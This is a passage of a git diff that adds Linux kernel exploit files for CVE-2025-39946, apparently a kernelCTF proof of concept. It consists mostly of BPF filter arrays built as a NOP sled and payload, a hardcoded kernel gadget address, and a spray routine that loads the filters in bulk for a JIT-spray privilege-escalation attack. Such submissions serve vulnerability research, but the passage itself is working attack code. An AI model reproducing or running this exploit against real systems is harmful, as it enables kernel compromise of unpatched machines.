= 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x28, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x27, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x26, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x20, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; +const unsigned n_filter_padding = 511; +unsigned long gadget = 0xffffffffc05f405cull; + +int gadget_do_spray(void) { + int count = 0; + #define __do_spray(x) do {\ + count++; \ + if (spray_one_filter(x, sizeof(x) / sizeof(x[0])) < 0) \ + return -1;\ + } while (0) + for (unsigned i = 0; i < n_filter_padding; i++) + __do_spray(filter_padding); + for (int n = 0; n < 2; n++) { + for (int i = 0; i < 512 - 2 - 4; i++) + __do_spray(filter_nop_sled); + __do_spray(filter_nop_sled_final); + __do_spray(filter_payload); + } + return count; +} diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip_ci.inc b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip_ci.inc new file mode 100644 index 000000000..c56a92613 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/filters.rip_ci.inc @@ -0,0 +1,4049 @@ +struct sock_filter filter_nop_sled[] = { + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000001, .code = 0x0074, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000008, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000004e, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000067, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000002ba, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000af, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000002a4, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000033, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ae, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000083, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000034, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000084, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000035, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000085, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000036, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000085, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000086, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ac, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ab, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000037, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000038, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000039, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000ac, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000081, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003c, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000080, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000aa, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000003b, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a8, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x000000a9, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000001e, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 